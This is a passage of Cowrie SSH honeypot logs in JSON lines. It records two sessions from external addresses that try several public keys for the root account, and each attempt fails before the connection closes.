a2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:05.821459Z","src_ip":"103.149.46.116","session":"874db345117e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:29:f7:ce:fb:bc:0a:15:41:62:bf:ae:fc:69:2d:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxxySnw0nn8H6ilLLkAfK0QWIIn4+Zot6c9hlOHPDq7UdPbddpWAT/JFsIfDiEDEbQ4HOFub2pp3jAPSwRn+UZbZrKi2zlfb7KPFYoI3FUFFlXYlTvrwafMhcCRtN79opv+CcG0lLiN/RB04nEnylYbKCnE33uaWKmbQVxRF1Uc2eCXjTSCeG7kXI5ReZ59OgXbZc4CbHxyxBnkKzgBnz8R5IGgPK0zF6OAuJPo9lppc7aE3P48xTpnhIjyxpOfs81vqCDt7E57pIP3NUgkglYZUNn1PSfzXGcAVcrvvYsu46IZdkzuCJ5qQ8mbeYoQslY9WduebX0ScuCizWiahen","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:29:f7:ce:fb:bc:0a:15:41:62:bf:ae:fc:69:2d:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:06.877864Z","src_ip":"103.149.46.116","session":"874db345117e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:29:f7:ce:fb:bc:0a:15:41:62:bf:ae:fc:69:2d:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxxySnw0nn8H6ilLLkAfK0QWIIn4+Zot6c9hlOHPDq7UdPbddpWAT/JFsIfDiEDEbQ4HOFub2pp3jAPSwRn+UZbZrKi2zlfb7KPFYoI3FUFFlXYlTvrwafMhcCRtN79opv+CcG0lLiN/RB04nEnylYbKCnE33uaWKmbQVxRF1Uc2eCXjTSCeG7kXI5ReZ59OgXbZc4CbHxyxBnkKzgBnz8R5IGgPK0zF6OAuJPo9lppc7aE3P48xTpnhIjyxpOfs81vqCDt7E57pIP3NUgkglYZUNn1PSfzXGcAVcrvvYsu46IZdkzuCJ5qQ8mbeYoQslY9WduebX0ScuCizWiahen","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:06.882001Z","src_ip":"103.149.46.116","session":"874db345117e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:e5:0c:55:93:d1:f2:74:fd:72:df:9b:38:9a:9c:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBF4MR0p6WAsEMOJJixg3Lok2ALofWv16XaPkySEzyLJDJyszzv27JYlH9n1Pm5W5UdoiEuo069fTCLzHbi/kdKnnUwcsNLJSPDz3xtQbuRVWXXUaY0qPwZ/iOzdQ713bDhr6Y+Z8+qp6SoUheq5EdaY8FiKFnbx6CuxJlPTXl/EwNObYi4jAQXjGWJAWjvDlFwO39nJ+dcw3W5iCE4lVyZV8iMm8XSaz30fWnWQg4e2zAqX+blPR7nwnI6RjtdBveYqIBEbutaozyEu7UYSgJnPZLY9O+U567WqJCj6iEgc68GGgj5IpznUDKUHJJXAWiD2SCfsenbOd0h3b1FO9R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:e5:0c:55:93:d1:f2:74:fd:72:df:9b:38:9a:9c:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:07.098485Z","src_ip":"103.149.46.116","session":"874db345117e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:e5:0c:55:93:d1:f2:74:fd:72:df:9b:38:9a:9c:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBF4MR0p6WAsEMOJJixg3Lok2ALofWv16XaPkySEzyLJDJyszzv27JYlH9n1Pm5W5UdoiEuo069fTCLzHbi/kdKnnUwcsNLJSPDz3xtQbuRVWXXUaY0qPwZ/iOzdQ713bDhr6Y+Z8+qp6SoUheq5EdaY8FiKFnbx6CuxJlPTXl/EwNObYi4jAQXjGWJAWjvDlFwO39nJ+dcw3W5iCE4lVyZV8iMm8XSaz30fWnWQg4e2zAqX+blPR7nwnI6RjtdBveYqIBEbutaozyEu7UYSgJnPZLY9O+U567WqJCj6iEgc68GGgj5IpznUDKUHJJXAWiD2SCfsenbOd0h3b1FO9R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:07.102639Z","src_ip":"103.149.46.116","session":"874db345117e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:ad:90:ab:39:17:3c:15:2e:64:80:0c:01:23:1b:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/PBO+/XzSsiqPhBca8WUnXPT7cnzR9xKCjMUBbetn1BnXna1W3ezRqcQ/Mux4MXA7TAPExWaXVVuU+XlUPKcrpvGNLa3gJjOmU35TZGedDMS9OFV2ENc1HEiod2FS2yvMbNKqB1qItl9YG720SDT4nx01CaAjgkMHJf5OLEomyNbBc7Lbt8mtRPGFN6UukSxJeHbdxe98NkwCpz6dUMn1Yju/uFsrR5szbrUArpSnV75yANhpl8EcZs1oAXZcC0FtXavRr+G0pDCsv9c0s5NaEI4xbJyrvMzMSbuwKlQOr86aLbyrQ+/BRVjW1jFlIDwo6QYzpXxAN77NG+nVpdsL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:ad:90:ab:39:17:3c:15:2e:64:80:0c:01:23:1b:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:07.319260Z","src_ip":"103.149.46.116","session":"874db345117e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:ad:90:ab:39:17:3c:15:2e:64:80:0c:01:23:1b:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/PBO+/XzSsiqPhBca8WUnXPT7cnzR9xKCjMUBbetn1BnXna1W3ezRqcQ/Mux4MXA7TAPExWaXVVuU+XlUPKcrpvGNLa3gJjOmU35TZGedDMS9OFV2ENc1HEiod2FS2yvMbNKqB1qItl9YG720SDT4nx01CaAjgkMHJf5OLEomyNbBc7Lbt8mtRPGFN6UukSxJeHbdxe98NkwCpz6dUMn1Yju/uFsrR5szbrUArpSnV75yANhpl8EcZs1oAXZcC0FtXavRr+G0pDCsv9c0s5NaEI4xbJyrvMzMSbuwKlQOr86aLbyrQ+/BRVjW1jFlIDwo6QYzpXxAN77NG+nVpdsL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:07.322568Z","src_ip":"103.149.46.116","session":"874db345117e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:07:c6:49:aa:5f:7d:60:e0:7c:47:d4:8a:a6:06:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCVytaWRQDxXnUNqkeuTArBjQs2GgG+sXbaG2rQ+vDglQKfCqy/7+9msSvO66e1wqQV1da0RndQNHjFeWsWwGXMlFodn3aWfhW8LZI0lT4lbjZz+BPHJHC9oM2xpP1ryOb7eBXCpun+SgdhOANaYJ+ZyDyM/ODQjmcguo/QlkkgD0YIeplAhyO6N9Z2J/n0uCHWXavW77J0hFt3IVEOjY2LM4Gi9a2xoz9icilmTeAYuKMbDnVRnCW0ieCbrs5TKBp5E+xKY0PS53BPjIapBqNcXQOWpkXS+9r+bALhL//J2tQIPxhPWmowzQIKHp5GqarqT5tmvGqYrc5m27Mv7VvwqoziMji5miRJ/PvnVx/mmPSdl8H4GletaIaU82TPuzg3nrknSH/aHaP51IerhJ3ezbAZPgqaYoVL3wV2SPtPLRBG/c6/FuQz8BfGI+rF0K91rLgpwv+nx4ug3Uwc8JCO6ndEXZ8YugXJ/H2Iu4963lmDHLqm/21x1rZ1Bsyg3/44k+Qhim3xbW8FFWmgQ+6cbrjJdKIuTaszwK6NSqLJvfqcwvk8PAsVa+D+ZKqiykcC5u7pcADHdsd1wKyqRsu5K6f2SgwSfMWNhoUz3MES9lt7+vqx6+4WHepIR6fT+JlG+M5ToKU6WOc7r8fBBLA/ZbrAYQux2uj8dT5+xeMxWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:07:c6:49:aa:5f:7d:60:e0:7c:47:d4:8a:a6:06:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:07.540641Z","src_ip":"103.149.46.116","session":"874db345117e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:07:c6:49:aa:5f:7d:60:e0:7c:47:d4:8a:a6:06:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCVytaWRQDxXnUNqkeuTArBjQs2GgG+sXbaG2rQ+vDglQKfCqy/7+9msSvO66e1wqQV1da0RndQNHjFeWsWwGXMlFodn3aWfhW8LZI0lT4lbjZz+BPHJHC9oM2xpP1ryOb7eBXCpun+SgdhOANaYJ+ZyDyM/ODQjmcguo/QlkkgD0YIeplAhyO6N9Z2J/n0uCHWXavW77J0hFt3IVEOjY2LM4Gi9a2xoz9icilmTeAYuKMbDnVRnCW0ieCbrs5TKBp5E+xKY0PS53BPjIapBqNcXQOWpkXS+9r+bALhL//J2tQIPxhPWmowzQIKHp5GqarqT5tmvGqYrc5m27Mv7VvwqoziMji5miRJ/PvnVx/mmPSdl8H4GletaIaU82TPuzg3nrknSH/aHaP51IerhJ3ezbAZPgqaYoVL3wV2SPtPLRBG/c6/FuQz8BfGI+rF0K91rLgpwv+nx4ug3Uwc8JCO6ndEXZ8YugXJ/H2Iu4963lmDHLqm/21x1rZ1Bsyg3/44k+Qhim3xbW8FFWmgQ+6cbrjJdKIuTaszwK6NSqLJvfqcwvk8PAsVa+D+ZKqiykcC5u7pcADHdsd1wKyqRsu5K6f2SgwSfMWNhoUz3MES9lt7+vqx6+4WHepIR6fT+JlG+M5ToKU6WOc7r8fBBLA/ZbrAYQux2uj8dT5+xeMxWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:07.544356Z","src_ip":"103.149.46.116","session":"874db345117e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:53:64:52:72:a3:0b:2d:97:c6:9e:8d:64:c7:1a:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAABAEAt/Hihl1FbXIGaUxIfzAR6R9/gmGogX9eVKfgZTp40PPzHpJpBVC0RgOM/+skzEdmArKyzDqDmSPp5fH5GU6ujo6z8qnQakbsbW/hZfijzjosUGOSihCRaXxp6f7GOXr9wrdORMiWvwdzhyOa2xLx+ziN3xCFfqKSf5x3oxzOadfMpu/jiOQ6u0as2oeFNex8nN+FAMM9KKmzVDR1GHvABfhRzDsTKwapGHJI62KuDGbxj0FcP+k1YvG2LpkagyAHy80z0f2PYEQN/TKuc/C2HQvJYZWnItGM57ttAzMPp8iph87Pyi+mvCBknOgZChhGlo2MVZhBjsf+OBIwUBrfioheAIm1myzqdNBpRkBJcuwYf9jvfDbiwWBtacR7lNChe4CnJUhknQsS5Bgj1VB0RMlpv7LHh+XAeVcUXBLqn5JPInbCb4ebWHZ0zibXQxhCwtyR/nGksdRrogxoqT2Reb0ofBMZb4bhyCzsNFWuUcLotht4bddgjclX85AOEWlnY65UCbfNHNiEtO7uMSrP9m+BwD5uORK1J+DUhmKrsQeWTGIEvutT5fILjZpsua/BjJ0UEb6YRiIUGJNLl3iDkRDcwOofKp7ug0Zv9jcUSEC2wJPm2vuc6QdzaBIykHGeuu/VoQUiZy0EFI6TLdpNk9wAjgmpJ7qHW3qqfezeR4ThT+W3tIRp8h4R7r/1EvJCLVgZf+ez1UFHV2Zj3Lqqvq71AjixOVOVLYJgMd0zZ5mQMQmSt3S5/3PIcspjoC3Wn71/PyWINNCA3HApbQCyNISNxSgkP1h+BKJGyqHGPDe5/nqN5jCSEOyWimsV1E5t9JsTILBtFoqK+n3FI14fafs9gHFtV2szxcYrdK/xUmeqtJx8aHDepZGQKcTXaF0yjHzb0kav99C0eUyzwGNnMHZd1xwrigCd0lgS6SGCHsNXVxQNIGY5INqEoM5csS9avsVG95o2gseYkPrHyRYsxvb2RsH//nMl62WD0GhKVlyk7lnTIVsFm0iMp0c/ifhp8Lai09A30W/aNEaATIn3FvARlCNRITkmg7nvngYy/P1L8DXAtoT0u9WkrKlXEbrqt6iO3W6Bv/m799b9QspmvB45gsabZR1X5mL3y/1rJdzEqa0GBKrsVyYPOv/l6v/nCYIBhkdMqlEkRHpUJR0QhG/i57dlqhWaZdasGj9o01ga9uYq9nMDykl38v22vMGagazacrMon+7nyjx1f08mCSL+CTX9QHQ7LPm7y8fcxtqucWy982ZrIT/IoUaoxH15wIzjEdUk/Lxe816/bWEf1taYIfmnHt0ii8U44LvrOaeq6XsdXSkHSIDX5FejZZf5DoWxonzxybhM8rhunTr9+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:53:64:52:72:a3:0b:2d:97:c6:9e:8d:64:c7:1a:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:07.763107Z","src_ip":"103.149.46.116","session":"874db345117e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:53:64:52:72:a3:0b:2d:97:c6:9e:8d:64:c7:1a:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAABAEAt/Hihl1FbXIGaUxIfzAR6R9/gmGogX9eVKfgZTp40PPzHpJpBVC0RgOM/+skzEdmArKyzDqDmSPp5fH5GU6ujo6z8qnQakbsbW/hZfijzjosUGOSihCRaXxp6f7GOXr9wrdORMiWvwdzhyOa2xLx+ziN3xCFfqKSf5x3oxzOadfMpu/jiOQ6u0as2oeFNex8nN+FAMM9KKmzVDR1GHvABfhRzDsTKwapGHJI62KuDGbxj0FcP+k1YvG2LpkagyAHy80z0f2PYEQN/TKuc/C2HQvJYZWnItGM57ttAzMPp8iph87Pyi+mvCBknOgZChhGlo2MVZhBjsf+OBIwUBrfioheAIm1myzqdNBpRkBJcuwYf9jvfDbiwWBtacR7lNChe4CnJUhknQsS5Bgj1VB0RMlpv7LHh+XAeVcUXBLqn5JPInbCb4ebWHZ0zibXQxhCwtyR/nGksdRrogxoqT2Reb0ofBMZb4bhyCzsNFWuUcLotht4bddgjclX85AOEWlnY65UCbfNHNiEtO7uMSrP9m+BwD5uORK1J+DUhmKrsQeWTGIEvutT5fILjZpsua/BjJ0UEb6YRiIUGJNLl3iDkRDcwOofKp7ug0Zv9jcUSEC2wJPm2vuc6QdzaBIykHGeuu/VoQUiZy0EFI6TLdpNk9wAjgmpJ7qHW3qqfezeR4ThT+W3tIRp8h4R7r/1EvJCLVgZf+ez1UFHV2Zj3Lqqvq71AjixOVOVLYJgMd0zZ5mQMQmSt3S5/3PIcspjoC3Wn71/PyWINNCA3HApbQCyNISNxSgkP1h+BKJGyqHGPDe5/nqN5jCSEOyWimsV1E5t9JsTILBtFoqK+n3FI14fafs9gHFtV2szxcYrdK/xUmeqtJx8aHDepZGQKcTXaF0yjHzb0kav99C0eUyzwGNnMHZd1xwrigCd0lgS6SGCHsNXVxQNIGY5INqEoM5csS9avsVG95o2gseYkPrHyRYsxvb2RsH//nMl62WD0GhKVlyk7lnTIVsFm0iMp0c/ifhp8Lai09A30W/aNEaATIn3FvARlCNRITkmg7nvngYy/P1L8DXAtoT0u9WkrKlXEbrqt6iO3W6Bv/m799b9QspmvB45gsabZR1X5mL3y/1rJdzEqa0GBKrsVyYPOv/l6v/nCYIBhkdMqlEkRHpUJR0QhG/i57dlqhWaZdasGj9o01ga9uYq9nMDykl38v22vMGagazacrMon+7nyjx1f08mCSL+CTX9QHQ7LPm7y8fcxtqucWy982ZrIT/IoUaoxH15wIzjEdUk/Lxe816/bWEf1taYIfmnHt0ii8U44LvrOaeq6XsdXSkHSIDX5FejZZf5DoWxonzxybhM8rhunTr9+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:07.767305Z","src_ip":"103.149.46.116","session":"874db345117e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:07.985716Z","src_ip":"103.149.46.116","session":"874db345117e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.70.122.120","src_port":45312,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a029e64ad0d","protocol":"ssh","message":"New connection: 193.70.122.120:45312 (10.17.0.5:22) [session: 6a029e64ad0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:14.710040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:14.715192Z","src_ip":"193.70.122.120","session":"6a029e64ad0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:14.800295Z","src_ip":"193.70.122.120","session":"6a029e64ad0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:fe:dd:14:35:92:cc:54:1c:c0:85:a9:d6:91:78:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu2h9USD+crmC4ZmdeM0bNZj754UK8bj/6NhXloynT/QXsVnVA1nYOuw9ipkpWNUelkxDjI+9PHcZ4c72FAsD267pkVNwNIZKcWP9MmNhXEFLRdOhGWtozBaFmTSoIcph/6dpjGO9vQ0OAs4mrf3D+v7hnZ90WybDBZaZwpERcCQ7f3ExznnoaOpN2s8Ebl17gWKtCx3jICeO+S6ynOIHcHD/f4oz/xk1LwwuInm617X5XUfdqpg99dG3aE8II7V45KW8L07mCgLXn1SO0e/mGVg7fb8KgCvEmZ9ZuqiVaRVvNc99z5iw86cNx2X9ICX1x9+e71mLU/ppfRD8OzzNF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:fe:dd:14:35:92:cc:54:1c:c0:85:a9:d6:91:78:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:15.210815Z","src_ip":"193.70.122.120","session":"6a029e64ad0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:fe:dd:14:35:92:cc:54:1c:c0:85:a9:d6:91:78:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu2h9USD+crmC4ZmdeM0bNZj754UK8bj/6NhXloynT/QXsVnVA1nYOuw9ipkpWNUelkxDjI+9PHcZ4c72FAsD267pkVNwNIZKcWP9MmNhXEFLRdOhGWtozBaFmTSoIcph/6dpjGO9vQ0OAs4mrf3D+v7hnZ90WybDBZaZwpERcCQ7f3ExznnoaOpN2s8Ebl17gWKtCx3jICeO+S6ynOIHcHD/f4oz/xk1LwwuInm617X5XUfdqpg99dG3aE8II7V45KW8L07mCgLXn1SO0e/mGVg7fb8KgCvEmZ9ZuqiVaRVvNc99z5iw86cNx2X9ICX1x9+e71mLU/ppfRD8OzzNF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:15.216045Z","src_ip":"193.70.122.120","session":"6a029e64ad0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:01:81:c1:af:29:27:65:dd:9a:4e:eb:ab:f5:17:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMmoVKDKxKJ021rUs6YzIrNTab8HfAQTL1HO15wZMxIZG1+RYsEf6z0E6n8w5PaZM5cofYbAc2pICSNvZ+HabsF+V7NAu0GaRSU6nsdW/Ou/3WuQ6aZALPh81eCGq8OAiiig46aK87lkudVWKf06znUYDb68SR1zvFR2oPcrzdOG3IUe8h3jPsPoYukim3bubvmVDf+hAo53LHEBm7iadIwniquZ+dPzwqHKxqJ8/vg41F00rhQ43aaxO2ivHUW1n3VqogsI3BeoNU/1h5YPn2YnJLz7zPIdv0ZKpiaDW3BjkDycem3owRXm+Hooo8RLeivk93LNu4mJHjv1FJe1qX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:01:81:c1:af:29:27:65:dd:9a:4e:eb:ab:f5:17:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:15.328321Z","src_ip":"193.70.122.120","session":"6a029e64ad0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:01:81:c1:af:29:27:65:dd:9a:4e:eb:ab:f5:17:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMmoVKDKxKJ021rUs6YzIrNTab8HfAQTL1HO15wZMxIZG1+RYsEf6z0E6n8w5PaZM5cofYbAc2pICSNvZ+HabsF+V7NAu0GaRSU6nsdW/Ou/3WuQ6aZALPh81eCGq8OAiiig46aK87lkudVWKf06znUYDb68SR1zvFR2oPcrzdOG3IUe8h3jPsPoYukim3bubvmVDf+hAo53LHEBm7iadIwniquZ+dPzwqHKxqJ8/vg41F00rhQ43aaxO2ivHUW1n3VqogsI3BeoNU/1h5YPn2YnJLz7zPIdv0ZKpiaDW3BjkDycem3owRXm+Hooo8RLeivk93LNu4mJHjv1FJe1qX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:15.332352Z","src_ip":"193.70.122.120","session":"6a029e64ad0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:f7:22:d3:ff:42:59:aa:58:6c:b0:c8:13:0f:37:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlRXSP8AIZSojnYm8NEoWTy8yCQEx8NmHKNvG+MMpFPckRIoYF1uO/MbrksPS0kRjatc6Irsc8RA6ktXrsy57XM0ymtigHBu5Oz8LcoBfUMGuFYqQ2c/rNsgE8bspjwquIyDEe7Kxb6Kl8u5YKbB7Tm7KXAnvFd9EoeGXSBLZP8aBVA7j6EhKSUrfnKSi5loFnIicybACzaL5Rf12GKjVd2egBkwN5DCSylk3105fB/soT3VkNd/VKF7e3HAWDrhP8/X1JnnNCcRUMqHbrdSLF4Lhg3g/MeZ7QAEPa5lGX2Jn7fR8Qcs2b3WapL3sh96tv3xBW/0OgQRVw8xx43+MRV6GfVZSBABpsOno8Ih5Q6FCx6ikvInyvXTKZeaC1FbivXMKv/KuzTjh06w/pbamhroWZEmr0Y0P76NgtE+b6pyX5L9chMbCAHRDzVl7zWBKJIVkE/Wu8sd8Ii7Q0Aijs01kqIxLcB9IPjQjg8SoVZ9D09Qo3Q+98+9JRyV/HJAXXov4wjUTv4aK5AWXDc6y/5v2sQZcz+XGNl3iYlc5xt61+K/aJCoXzc0vndofEpsJwqB/xNJsFpXB+xk8bLbwBR1Ue/8wD4o0YmQNYI5TaxWC6QkzuekwzXlIslfHmdFMNDYxIJtxovx/ObTTjariXYIUljUEUDQKUUVPeDwgRZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:f7:22:d3:ff:42:59:aa:58:6c:b0:c8:13:0f:37:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:15.418718Z","src_ip":"193.70.122.120","session":"6a029e64ad0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:f7:22:d3:ff:42:59:aa:58:6c:b0:c8:13:0f:37:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlRXSP8AIZSojnYm8NEoWTy8yCQEx8NmHKNvG+MMpFPckRIoYF1uO/MbrksPS0kRjatc6Irsc8RA6ktXrsy57XM0ymtigHBu5Oz8LcoBfUMGuFYqQ2c/rNsgE8bspjwquIyDEe7Kxb6Kl8u5YKbB7Tm7KXAnvFd9EoeGXSBLZP8aBVA7j6EhKSUrfnKSi5loFnIicybACzaL5Rf12GKjVd2egBkwN5DCSylk3105fB/soT3VkNd/VKF7e3HAWDrhP8/X1JnnNCcRUMqHbrdSLF4Lhg3g/MeZ7QAEPa5lGX2Jn7fR8Qcs2b3WapL3sh96tv3xBW/0OgQRVw8xx43+MRV6GfVZSBABpsOno8Ih5Q6FCx6ikvInyvXTKZeaC1FbivXMKv/KuzTjh06w/pbamhroWZEmr0Y0P76NgtE+b6pyX5L9chMbCAHRDzVl7zWBKJIVkE/Wu8sd8Ii7Q0Aijs01kqIxLcB9IPjQjg8SoVZ9D09Qo3Q+98+9JRyV/HJAXXov4wjUTv4aK5AWXDc6y/5v2sQZcz+XGNl3iYlc5xt61+K/aJCoXzc0vndofEpsJwqB/xNJsFpXB+xk8bLbwBR1Ue/8wD4o0YmQNYI5TaxWC6QkzuekwzXlIslfHmdFMNDYxIJtxovx/ObTTjariXYIUljUEUDQKUUVPeDwgRZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:15.424009Z","src_ip":"193.70.122.120","session":"6a029e64ad0d","protocol":"ssh"}
